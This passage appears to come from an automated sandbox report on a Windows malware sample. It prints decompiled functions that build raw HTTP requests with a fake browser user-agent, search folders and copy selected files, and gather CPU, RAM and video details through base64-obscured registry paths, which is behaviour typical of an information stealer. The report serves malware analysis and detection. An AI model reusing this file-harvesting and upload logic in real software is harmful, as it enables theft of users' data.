								_t243 = _t151;
								if(_t151 == 0) {
									E00403850();
									E00403D88( &_v1480, _v1484);
									E0041747C(E00403790(_a12), _t196,  &_v1488, _t225, _t243);
									E00403D88( &_v1492, _a12);
									E00403E78();
									E0040377C( &_v20, _v1476);
									 *0x41cb44(_t225, E004039E8( &_v20), E00403790(_v20), 0, _v1492, L"\r\n\r\n", _v1488, _v1480, "Content-Length: ", 0x417cf4, "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", "User-agent: ", "Connection: close\r\n", 0x417cf4, _a16, "Host: ", " HTTP/1.0\r\n", _v12, 0x417cc4, _v16);
									E004034E4( &_v24);
									do {
										E004034E4( &_v32);
										E004028E0( &_v1472, 0x400);
										_t197 =  *0x41cb48(_t225,  &_v1472, 0x400, 0);
										E004035D4( &_v32, _t197,  &_v1472);
										E00403798( &_v24, _v32);
									} while (_t197 > 0);
									 *0x41cb54(_t225);
									_push( &_v24);
									_push(E00403AD4(0x417d9c, _v24) + 4);
									_t186 = E00403790(_v24);
									_pop(_t222);
									E004039F0(_v24, _t186, _t222);
									E00403538(_a4, _v24);
								}
							}
						}
					}
				}
				_pop(_t206);
				 *[fs:eax] = _t206;
				_push(E00417C58);
				E00403BF4( &_v1492, 2);
				E004034E4( &_v1484);
				E00403BF4( &_v1480, 2);
				E00403508( &_v32, 7);
				return E00403508( &_a12, 2);
			}

0x0041784d
0x00417853
0x00417859
0x0041785f
0x00417865
0x0041786b
0x0041786e
0x00417871
0x00417874
0x00417877
0x0041787a
0x0041787d
0x00417883
0x0041788b
0x00417893
0x0041789b
0x004178a3
0x004178aa
0x004178ab
0x004178b0
0x004178b3
0x004178be
0x004178d1
0x004178d5
0x004178e5
0x004178e5
0x004178f9
0x00417910
0x00417927
0x0041793e
0x00417955
0x0041796c
0x00417983
0x0041799a
0x004179a1
0x00417a12
0x00417a1d
0x00417a27
0x00417a30
0x00417a42
0x00417a47
0x00417a4d
0x00417a5f
0x00417a67
0x00417a74
0x00417a85
0x00417a96
0x00417a9c
0x00417a9e
0x00417ae5
0x00417af6
0x00417b0f
0x00417b28
0x00417b3e
0x00417b4c
0x00417b66
0x00417b6f
0x00417b74
0x00417b77
0x00417b89
0x00417ba3
0x00417bb0
0x00417bbb
0x00417bc0
0x00417bc5
0x00417bce
0x00417bdf
0x00417be3
0x00417bed
0x00417bee
0x00417bf9
0x00417bf9
0x00417a9e
0x00417a67
0x00417a47
0x00417a30
0x00417c00
0x00417c03
0x00417c06
0x00417c16
0x00417c21
0x00417c31
0x00417c3e
0x00417c50

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00417C51,?,00000000,00000000,?,00418223,00000000,?,?,?), ref: 004178CC
LoadLibraryA.KERNEL32(00000000), ref: 004178E0
GetProcAddress.KERNEL32(00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000,?,00418223,00000000,?,?,?), ref: 004178F4
GetProcAddress.KERNEL32(00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000,?,00418223,00000000,?,?,?), ref: 0041790B
GetProcAddress.KERNEL32(00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000,?,00418223,00000000,?), ref: 00417922
GetProcAddress.KERNEL32(00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000,?,00418223), ref: 00417939
GetProcAddress.KERNEL32(00000000,-00000031,00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000), ref: 00417950
GetProcAddress.KERNEL32(00000000,-00000036,00000000,-00000031,00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51), ref: 00417967
GetProcAddress.KERNEL32(00000000,-0000003C,00000000,-00000036,00000000,-00000031,00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000), ref: 0041797E
GetProcAddress.KERNEL32(00000000,-00000044,00000000,-0000003C,00000000,-00000036,00000000,-00000031,00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C), ref: 00417995

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

User-agent: , xrefs: 00417AC6
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 00417ACB
Connection: close, xrefs: 00417AC1
, xrefs: 00417BD2
Host: , xrefs: 00417AB4
, xrefs: 00417B1A
Content-Length: , xrefs: 00417AD5
wsock32.dll, xrefs: 004178B9
HTTP/1.0, xrefs: 00417AAF

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressProc$E4513HandleLibraryLoadModule
String ID: $$ HTTP/1.0$Connection: close$Content-Length: $Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$User-agent: $wsock32.dll
API String ID: 2703958579-3355491746
Opcode ID: 5dee2214146ea9f829aad4bff776507bd82a7700a093c036b79431a9be4291ad
Instruction ID: 31654010b862b105af4b50c917f5d831bb79803e3d83f100470ac79b744d8150
Opcode Fuzzy Hash: 5dee2214146ea9f829aad4bff776507bd82a7700a093c036b79431a9be4291ad
Instruction Fuzzy Hash: 7FB1F1B19042099BDB10EF65DC86AEFBBB8BB04709F50407BE505F22D1DB78AA458F58

Uniqueness

Uniqueness Score: 100.00%

Function 00413F58, Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 496
fileCOMMON

C-Code - Quality: 83%

			E00413F58(char __eax, int __ebx, void* __ecx, char __edx, void* __edi, signed int __esi, char _a4, char _a8, char _a12, intOrPtr _a16, char _a20) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v53;
				intOrPtr _v56;
				struct _WIN32_FIND_DATAW _v648;
				char _v652;
				char _v656;
				char _v660;
				char _v664;
				char _v668;
				char _v672;
				intOrPtr _v676;
				char _v680;
				char _v684;
				char _v688;
				char _v692;
				char _v696;
				intOrPtr _v700;
				char _v704;
				char _v708;
				char _v712;
				char _v716;
				char _v720;
				char _v724;
				char _v728;
				char _v732;
				char _v736;
				char _v740;
				char _v744;
				intOrPtr _v748;
				char _v752;
				char _v756;
				char _v760;
				char _v764;
				char _v768;
				char _v772;
				char _v776;
				char _v780;
				char _v784;
				char _v788;
				char _v792;
				void* _t239;
				void* _t295;
				intOrPtr* _t299;
				void* _t301;
				int _t312;
				int _t333;
				signed int _t343;
				long _t349;
				int _t354;
				int _t377;
				int _t383;
				void* _t387;
				intOrPtr* _t425;
				intOrPtr _t428;
				intOrPtr* _t456;
				int _t460;
				intOrPtr _t464;
				intOrPtr* _t471;
				intOrPtr _t486;
				intOrPtr _t496;
				intOrPtr _t497;
				intOrPtr _t499;
				void* _t534;
				void* _t556;
				void* _t570;
				void* _t573;
				signed int _t575;
				intOrPtr _t577;
				intOrPtr _t578;
				intOrPtr* _t579;

				_t574 = __esi;
				_t458 = __ebx;
				_t577 = _t578;
				_push(__ecx);
				_t464 = 0x62;
				do {
					_push(0);
					_push(0);
					_t464 = _t464 - 1;
					_t580 = _t464;
				} while (_t464 != 0);
				_t1 =  &_v8;
				 *_t1 = _t464;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				E00404150( &_a20);
				_push(_t577);
				_push(0x41475d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t578;
				_v20 = 0;
				E004062FC(_v8,  &_v652, _t580);
				E00403C3C( &_v8, _v652);
				E0040377C( &_v656, _a20);
				E00407A18(0x41477c,  &_v52, _v656, _t580);
				E0040377C( &_v660, _v12);
				E00407A18(0x414788,  &_v44, _v660, _t580);
				_t239 = E00404648(_v44);
				_t581 = _t239;
				if(_t239 == 0) {
					L46:
					_pop(_t486);
					 *[fs:eax] = _t486;
					_push(E00414767);
					E00403BF4( &_v792, 2);
					E00403508( &_v784, 2);
					E00403BDC( &_v776);
					E00403508( &_v772, 2);
					E00403BF4( &_v764, 6);
					E004034E4( &_v740);
					E00403BF4( &_v736, 5);
					E00403508( &_v716, 3);
					E00403BF4( &_v704, 3);
					E004034E4( &_v692);
					E00403BDC( &_v688);
					E004034E4( &_v684);
					E00403BF4( &_v680, 5);
					E00403508( &_v660, 2);
					E00403BDC( &_v652);
					_t496 =  *0x405f50; // 0x405f54
					E00404810( &_v52, _t496);
					E00403BDC( &_v48);
					_t497 =  *0x405f50; // 0x405f54
					E00404810( &_v44, _t497);
					E00403BF4( &_v40, 4);
					_t499 =  *0x413f34; // 0x413f38
					E00404810( &_v24, _t499);
					E00403BF4( &_v16, 3);
					return E00403BDC( &_a20);
				} else {
					_push(E00404648(_v24) + 1);
					E00404804();
					_t579 = _t578 + 4;
					_push(_v24 + E00404648(_v24) * 4 - 4);
					E004078D8(_v8, __ebx,  &_v664, _t581);
					_pop(_t295);
					E00403C18(_t295, _v664);
					while(E00404648(_v24) > 0) {
						_t299 =  *0x41b218; // 0x41cac4
						_t34 = _t299 + 4; // 0x0
						_t301 =  *_t299 - 0x4b000;
						asm("sbb edx, 0x0");
						_t471 =  *0x41b3fc; // 0x41cabc
						_t35 = _t471 + 4; // 0x0
						__eflags =  *_t34 -  *_t35;
						if(__eflags != 0) {
							if(__eflags <= 0) {
								goto L46;
							}
							L8:
							E004078D8( *((intOrPtr*)(_v24 + E00404648(_v24) * 4 - 4)), _t458,  &_v28, __eflags);
							E00403BDC(_v24 + E00404648(_v24) * 4 - 4);
							_t312 = E00404648(_v24) - 1;
							__eflags = _t312;
							_push(_t312);
							E00404804();
							_t579 = _t579 + 4;
							E00403E14( &_v672, 0x414790, _v28, __eflags);
							E004078D8(_v672, _t458,  &_v668, __eflags);
							_t573 = FindFirstFileW(E00403D98(_v668),  &_v648);
							do {
								_push(_v28);
								_push(0x41479c);
								_t474 = 0x104;
								E00403D6C( &_v680, 0x104,  &(_v648.cFileName));
								_push(_v680);
								E00403E78();
								E004078D8(_v676, _t458,  &_v32, __eflags);
								E004077C8(_v32, _t458, 0x104,  &_v36, _t574, __eflags);
								__eflags = (_v648.dwFileAttributes & 0x00000010) - 0x10;
								if((_v648.dwFileAttributes & 0x00000010) == 0x10) {
									L21:
									__eflags = _a8 - 1;
									if(_a8 != 1) {
										L30:
										__eflags = _a12 - 1;
										if(_a12 != 1) {
											goto L43;
										}
										E00403D6C( &_v756, 0x104,  &(_v648.cFileName));
										E00403EC0(_v756, 0x4147c0);
										if(__eflags == 0) {
											goto L43;
										}
										E00403D6C( &_v760, 0x104,  &(_v648.cFileName));
										E00403EC0(_v760, 0x4147cc);
										if(__eflags == 0) {
											goto L43;
										}
										_t343 = _v648.dwFileAttributes;
										__eflags = (_t343 & 0x00000010) - 0x10;
										if((_t343 & 0x00000010) != 0x10) {
											goto L43;
										}
										__eflags = (_t343 & 0x00000400) - 0x400;
										if(__eflags == 0) {
											goto L43;
										}
										E004078D8(_v32, _t458,  &_v764, __eflags);
										_t349 = GetFileAttributesW(E00403D98(_v764));
										__eflags = _t349 - 0xffffffff;
										if(_t349 == 0xffffffff) {
											goto L43;
										}
										_v53 = 0;
										_t458 = E00404648(_v52) - 1;
										__eflags = _t458;
										if(_t458 < 0) {
											L41:
											__eflags = _v53;
											if(_v53 == 0) {
												_t354 = E00404648(_v24) + 1;
												__eflags = _t354;
												_push(_t354);
												E00404804();
												_t579 = _t579 + 4;
												E00403C18(_v24 + E00404648(_v24) * 4 - 4, _v32);
											}
											goto L43;
										}
										_t460 = _t458 + 1;
										_t575 = 0;
										__eflags = 0;
										do {
											E004078D8(_v32, _t460,  &_v776, __eflags);
											E0040377C( &_v772, _v776);
											E0040633C(_v772, _t460,  &_v768, _t573, _t575);
											_push(_v768);
											E00403D88( &_v792,  *((intOrPtr*)(_v52 + _t575 * 4)));
											E004078D8(_v792, _t460,  &_v788, __eflags);
											E0040377C( &_v784, _v788);
											E0040633C(_v784, _t460,  &_v780, _t573, _t575);
											_pop(_t534);
											_t377 = E00403AD4(_v780, _t534);
											__eflags = _t377;
											if(_t377 != 0) {
												_v53 = 1;
											}
											_t575 = _t575 + 1;
											_t460 = _t460 - 1;
											__eflags = _t460;
										} while (__eflags != 0);
										goto L41;
									}
									E0040377C( &_v712, _v36);
									E0040633C(_v712, _t458,  &_v708, _t573, _t574);
									_t383 = E00403AD4(0x4147a8, _v708);
									__eflags = _t383;
									if(_t383 == 0) {
										goto L30;
									}
									E00413D08(_v32, _t458,  &_v40, _t574);
									_t387 = E00406910(_v40);
									__eflags = _t387 - _a16;
									if(_t387 > _a16) {
										goto L30;
									}
									_t458 = E00404648(_v44) - 1;
									__eflags = _t458;
									if(_t458 < 0) {
										goto L30;
									}
									_t458 = _t458 + 1;
									_t574 = 0;
									__eflags = 0;
									while(1) {
										E004077C8(_v40, _t458, _t474,  &_v720, _t574, __eflags);
										E0040377C( &_v716, _v720);
										_t474 = 0;
										__eflags = E00406144(_v716, _t458, 0,  *((intOrPtr*)(_v44 + _t574 * 4)), _t573, _t574);
										if(__eflags != 0) {
											break;
										}
										_t574 = _t574 + 1;
										_t458 = _t458 - 1;
										__eflags = _t458;
										if(__eflags != 0) {
											continue;
										}
										goto L30;
									}
									E004078D8(_v32, _t458,  &_v724, __eflags);
									E00403C3C( &_v32, _v724);
									E004078D8(_v8, _t458,  &_v728, __eflags);
									E00403C3C( &_v8, _v728);
									E004078D8(_v40, _t458,  &_v732, __eflags);
									E00403C3C( &_v40, _v732);
									_push(_v32);
									_push("._.");
									E004077C8(_v40, _t458, 0,  &_v736, _t574, __eflags);
									_push(_v736);
									E00403E78();
									E00403F90( &_v48, E00403DA8(_v8), 1, __eflags);
									_push(_v16);
									_push(0x41479c);
									_push(_v48);
									E00403E78();
									E004078D8(_v748, _t458,  &_v744, __eflags);
									E0040377C( &_v740, _v744);
									_push(_v740);
									E004078D8(_v40, _t458,  &_v752, __eflags);
									_pop(_t556);
									E0040E79C(_v752, _t458, _t556, _t573, _t574);
									_v20 = _v20 + 1;
									__eflags = _a4 - 1;
									if(_a4 == 1) {
										_t425 =  *0x41b3f8; // 0x41b0ac
										 *_t425 =  *_t425 + 1;
									}
									goto L30;
								}
								__eflags = _v648.nFileSizeHigh;
								if(_v648.nFileSizeHigh != 0) {
									goto L21;
								}
								_push(0);
								_push(_v648.nFileSizeLow >> 0xa);
								_t428 = _a16;
								asm("cdq");
								__eflags = 0 - _v56;
								if(__eflags != 0) {
									if(__eflags < 0) {
										goto L21;
									}
									L15:
									_t458 = E00404648(_v44) - 1;
									__eflags = _t458;
									if(_t458 < 0) {
										goto L21;
									}
									_t458 = _t458 + 1;
									_t574 = 0;
									__eflags = 0;
									while(1) {
										E0040377C( &_v684, _v36);
										_t474 = 0;
										__eflags = E00406144(_v684, _t458, 0,  *((intOrPtr*)(_v44 + _t574 * 4)), _t573, _t574);
										if(__eflags != 0) {
											break;
										}
										_t574 = _t574 + 1;
										_t458 = _t458 - 1;
										__eflags = _t458;
										if(_t458 != 0) {
											continue;
										}
										goto L21;
									}
									E004078D8(_v8, _t458,  &_v688, __eflags);
									E00403C3C( &_v8, _v688);
									E004078D8(_v32, _t458,  &_v48, __eflags);
									_t474 = E00403DA8(_v8);
									E00403F90( &_v48, _t443, 1, __eflags);
									_push(_v16);
									_push(0x41479c);
									_push(_v48);
									E00403E78();
									E004078D8(_v700, _t458,  &_v696, __eflags);
									E0040377C( &_v692, _v696);
									_push(_v692);
									E004078D8(_v32, _t458,  &_v704, __eflags);
									_pop(_t570);
									E0040E79C(_v704, _t458, _t570, _t573, _t574);
									_v20 = _v20 + 1;
									__eflags = _a4 - 1;
									if(_a4 == 1) {
										_t456 =  *0x41b3f8; // 0x41b0ac
										 *_t456 =  *_t456 + 1;
									}
									goto L21;
								}
								__eflags = _t428 -  *_t579;
								if(_t428 <  *_t579) {
									goto L21;
								}
								goto L15;
								L43:
								_t333 = FindNextFileW(_t573,  &_v648);
								__eflags = _t333;
							} while (_t333 != 0);
							FindClose(_t573);
							continue;
						}
						__eflags = _t301 -  *_t471;
						if(_t301 >  *_t471) {
							goto L8;
						} else {
							goto L46;
						}
					}
					goto L46;
				}
			}

0x00413f58
0x00413f58
0x00413f59
0x00413f5b
0x00413f5c
0x00413f61
0x00413f61
0x00413f63
0x00413f65
0x00413f65
0x00413f65
0x00413f68
0x00413f68
0x00413f6b
0x00413f6c
0x00413f6d
0x00413f6e
0x00413f71
0x00413f74
0x00413f7a
0x00413f82
0x00413f8a
0x00413f92
0x00413f99
0x00413f9a
0x00413f9f
0x00413fa2
0x00413fa7
0x00413fb3
0x00413fc1
0x00413fcf
0x00413fe2
0x00413ff0
0x00414003
0x0041400b
0x00414010
0x00414012
0x00414629
0x0041462b
0x0041462e
0x00414631
0x00414641
0x00414651
0x0041465c
0x0041466c
0x0041467c
0x00414687
0x00414697
0x004146a7
0x004146b7
0x004146c2
0x004146cd
0x004146d8
0x004146e8
0x004146f8
0x00414703
0x0041470b
0x00414711
0x00414719
0x00414721
0x00414727
0x00414734
0x0041473c
0x00414742
0x0041474f
0x0041475c
0x00414018
0x00414021
0x00414030
0x00414035
0x00414047
0x00414051
0x0041405c
0x0041405d
0x00414619
0x00414067
0x0041406c
0x00414071
0x00414076
0x00414079
0x0041407f
0x0041407f
0x00414082
0x0041408d
0x00000000
0x00000000
0x00414093
0x004140a5
0x004140b9
0x004140c6
0x004140c6
0x004140c7
0x004140d6
0x004140db
0x004140f3
0x00414104
0x0041411a
0x0041411c
0x0041411c
0x0041411f
0x00414130
0x00414135
0x0041413a
0x0041414b
0x00414159
0x00414164
0x00414172
0x00414175
0x004142a9
0x004142a9
0x004142ad
0x00414462
0x00414462
0x00414466
0x00000000
0x00000000
0x0041447d
0x0041448d
0x00414492
0x00000000
0x00000000
0x004144a9
0x004144b9
0x004144be
0x00000000
0x00000000
0x004144c4
0x004144cf
0x004144d2
0x00000000
0x00000000
0x004144dd
0x004144e2
0x00000000
0x00000000
0x004144f1
0x00414502
0x00414507
0x0041450a
0x00000000
0x00000000
0x00414510
0x0041451e
0x0041451f
0x00414521
0x004145c1
0x004145c1
0x004145c5
0x004145cf
0x004145cf
0x004145d0
0x004145df
0x004145e4
0x004145f9
0x004145f9
0x00000000
0x004145c5
0x00414527
0x00414528
0x00414528
0x0041452a
0x00414533
0x00414544
0x00414555
0x00414560
0x0041456d
0x0041457e
0x0041458f
0x004145a0
0x004145ab
0x004145ac
0x004145b1
0x004145b3
0x004145b5
0x004145b5
0x004145b9
0x004145ba
0x004145ba
0x004145ba
0x00000000
0x0041452a
0x004142bc
0x004142cd
0x004142dd
0x004142e2
0x004142e4
0x00000000
0x00000000
0x004142f0
0x004142f8
0x004142fd
0x00414300
0x00000000
0x00000000
0x00414310
0x00414311
0x00414313
0x00000000
0x00000000
0x00414319
0x0041431a
0x0041431a
0x0041431c
0x00414325
0x00414336
0x00414347
0x0041434e
0x00414350
0x00000000
0x00000000
0x0041445a
0x0041445b
0x0041445b
0x0041445c
0x00000000
0x00000000
0x00000000
0x0041445c
0x0041435f
0x0041436d
0x0041437b
0x00414389
0x00414397
0x004143a5
0x004143aa
0x004143ad
0x004143bb
0x004143c0
0x004143ce
0x004143e5
0x004143ea
0x004143ed
0x004143f2
0x00414400
0x00414411
0x00414422
0x0041442d
0x00414437
0x00414442
0x00414443
0x00414448
0x0041444b
0x0041444f
0x00414451
0x00414456
0x00414456
0x00000000
0x0041444f
0x0041417b
0x00414182
0x00000000
0x00000000
0x00414193
0x00414194
0x00414195
0x00414198
0x00414199
0x0041419d
0x004141ae
0x00000000
0x00000000
0x004141b4
0x004141be
0x004141bf
0x004141c1
0x00000000
0x00000000
0x004141c7
0x004141c8
0x004141c8
0x004141ca
0x004141d3
0x004141e4
0x004141eb
0x004141ed
0x00000000
0x00000000
0x004142a1
0x004142a2
0x004142a2
0x004142a3
0x00000000
0x00000000
0x00000000
0x004142a3
0x004141fc
0x0041420a
0x00414215
0x00414222
0x0041422c
0x00414231
0x00414234
0x00414239
0x00414247
0x00414258
0x00414269
0x00414274
0x0041427e
0x00414289
0x0041428a
0x0041428f
0x00414292
0x00414296
0x00414298
0x0041429d
0x0041429d
0x00000000
0x00414296
0x0041419f
0x004141a4
0x00000000
0x00000000
0x00000000
0x004145fe
0x00414606
0x0041460b
0x0041460b
0x00414614
0x00000000
0x00414614
0x00414084
0x00414086
0x00000000
0x00414088
0x00000000
0x00414088
0x00414086
0x00000000
0x00414619

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,?,0041A232), ref: 00414115

Part of subcall function 0040E79C: CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 0040E824
Part of subcall function 0040E79C: DeleteFileW.KERNEL32(00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C,00000001,?), ref: 0040E866

GetFileAttributesW.KERNEL32(00000000,?,0041479C,?), ref: 00414502
FindNextFileW.KERNEL32(00000000,?,?,0041479C,?), ref: 00414606
FindClose.KERNEL32(00000000,00000000,?,?,0041479C,?), ref: 00414614

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

Strings

8?A, xrefs: 0041402A, 004140D0, 004145D9, 0041473C
.LNK, xrefs: 004142D8
._., xrefs: 004143AD
T_@, xrefs: 0041470B, 00414721

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: File$Find$E4513$AttributesCloseCopyDeleteE465E7790FirstNext
String ID: .LNK$._.$8?A$T_@
API String ID: 2232492535-814392791
Opcode ID: 4ce0127c1e4b20180814c2eb31f78fdaea93d8dc42a90ee107440ef8824beb3f
Instruction ID: ccf2d574420f699031c81d78e58b697f7985245bee10ad08c344e755ebce9b4b
Opcode Fuzzy Hash: 4ce0127c1e4b20180814c2eb31f78fdaea93d8dc42a90ee107440ef8824beb3f
Instruction Fuzzy Hash: C2223F74A0011E9BDB10EF55C985ADEB7B9EF84308F1081B7E504B7291DB38AF868F59

Uniqueness

Uniqueness Score: 6.84%

Function 00415E5C, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 116
UNIQUE

C-Code - Quality: 47%

			E00415E5C(intOrPtr* __eax, void* __ebx, void* __esi) {
				struct _SYSTEM_INFO _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				signed int _t38;
				signed int _t39;
				signed int _t92;
				void* _t93;
				void* _t94;
				intOrPtr _t113;
				void* _t117;
				intOrPtr _t120;
				intOrPtr _t121;

				_t118 = __esi;
				_t38 = __eax +  *__eax;
				 *_t38 =  *_t38 + _t38;
				_t39 = _t38 | 0x5500000a;
				_t120 = _t121;
				_t93 = 0xb;
				do {
					_push(0);
					_push(0);
					_t93 = _t93 - 1;
					_t124 = _t93;
				} while (_t93 != 0);
				_t92 = _t39;
				_push(_t120);
				_push(0x415ff0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t121;
				GetSystemInfo( &_v40);
				E00403D88( &_v48,  *_t92);
				_push(_v48);
				_push(L"CPU Model: ");
				_push(0);
				_push( &_v52);
				E004069A8("UHJvY2Vzc29yTmFtZVN0cmluZw==", _t92,  &_v60, _t117, __esi);
				E00403D88( &_v56, _v60);
				_push(_v56);
				E004069A8("SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==", _t92,  &_v68, _t117, __esi);
				E00403D88( &_v64, _v68);
				_pop(_t94);
				E004075C0(0x80000002, _t92, _t94, _v64);
				_push(_v52);
				_push(0x416090);
				E00403E78();
				E0040377C(_t92, _v44);
				E004037DC( &_v80, "CPU Count: ",  *_t92);
				E00403D88( &_v76, _v80);
				_push(_v76);
				E0040709C(_v40.dwNumberOfProcessors, _t92,  &_v84, __esi, _t124);
				_push(_v84);
				_push(0x416090);
				E00403E78();
				E0040377C(_t92, _v72);
				_push( *_t92);
				_push("GetRAM: ");
				E00415CA0( &_v88, _t92, _t118, _t124);
				_push(_v88);
				_push(0x4160c8);
				E00403850();
				_push( *_t92);
				_push("Video Info\r\n");
				E00415D60( &_v92, _t92, _t117, _t118);
				_push(_v92);
				E00403850();
				_t113 = 0x4160c8;
				 *[fs:eax] = _t113;
				_push(E00415FF7);
				E00403508( &_v92, 2);
				E00403BDC( &_v84);
				E004034E4( &_v80);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BDC( &_v64);
				E004034E4( &_v60);
				return E00403BF4( &_v56, 4);
			}

0x00415e5c
0x00415e5c
0x00415e5e
0x00415e60
0x00415e65
0x00415e67
0x00415e6c
0x00415e6c
0x00415e6e
0x00415e70
0x00415e70
0x00415e70
0x00415e74
0x00415e78
0x00415e79
0x00415e7e
0x00415e81
0x00415e88
0x00415e92
0x00415e97
0x00415e9a
0x00415e9f
0x00415ea4
0x00415ead
0x00415eb8
0x00415ec0
0x00415ec9
0x00415ed4
0x00415ee1
0x00415ee2
0x00415ee7
0x00415eea
0x00415ef7
0x00415f01
0x00415f10
0x00415f1b
0x00415f20
0x00415f29
0x00415f2e
0x00415f31
0x00415f3e
0x00415f48
0x00415f4d
0x00415f4f
0x00415f57
0x00415f5c
0x00415f5f
0x00415f6b
0x00415f70
0x00415f72
0x00415f7a
0x00415f7f
0x00415f8e
0x00415f95
0x00415f98
0x00415f9b
0x00415fa8
0x00415fb0
0x00415fb8
0x00415fc5
0x00415fcd
0x00415fd5
0x00415fdd
0x00415fef

APIs

GetSystemInfo.KERNEL32(0041987E,00000000,00415FF0,?,?,00000000,00000000,?,00416BA9,?,,?,Zone: ,?,00416CC4,?), ref: 00415E88

Part of subcall function 00415CA0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00415CC7
Part of subcall function 00415CA0: GetProcAddress.KERNEL32(00000000,kernel32.dll,GlobalMemoryStatusEx,00000000,00415D2A,?,?,?), ref: 00415CCD

Part of subcall function 00415D60: LoadLibraryA.KERNEL32(user32.dll), ref: 00415D94
Part of subcall function 00415D60: GetProcAddress.KERNEL32(00000000,user32.dll,EnumDisplayDevicesW,00000000,00415E29,?,-00000001,?,?,?,00415F7F,Video Info,?,004160C8,?,GetRAM: ), ref: 00415D9A

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

GetRAM: , xrefs: 00415F4F
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 00415EC4
CPU Model: , xrefs: 00415E9A
CPU Count: , xrefs: 00415F0B
Video Info, xrefs: 00415F72
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 00415EA8

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressE4513LibraryLoadProc$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 1117730568-1038824218
Opcode ID: 75f70952713bbeb3934ece0653db3281a91e7ad2176554ba2e87d9fe6ec58738
Instruction ID: b8e48139218345cad2f297104021fa64e6aa48652e620d0ceae34b43c4c0af77
Opcode Fuzzy Hash: 75f70952713bbeb3934ece0653db3281a91e7ad2176554ba2e87d9fe6ec58738
Instruction Fuzzy Hash: 2F41F131A00108ABCB01EFD1D842BCDBFB9EF48305F51813BF504B7296D678EA4A8B59

Uniqueness

Uniqueness Score: 100.00%

Function 00412D6C, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 143
fileCOMMON

C-Code - Quality: 52%

			E00412D6C(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				intOrPtr* _t73;
				void* _t110;
				intOrPtr _t127;
				intOrPtr _t132;
				void* _t144;
				void* _t145;
				intOrPtr _t146;

				_t142 = __esi;
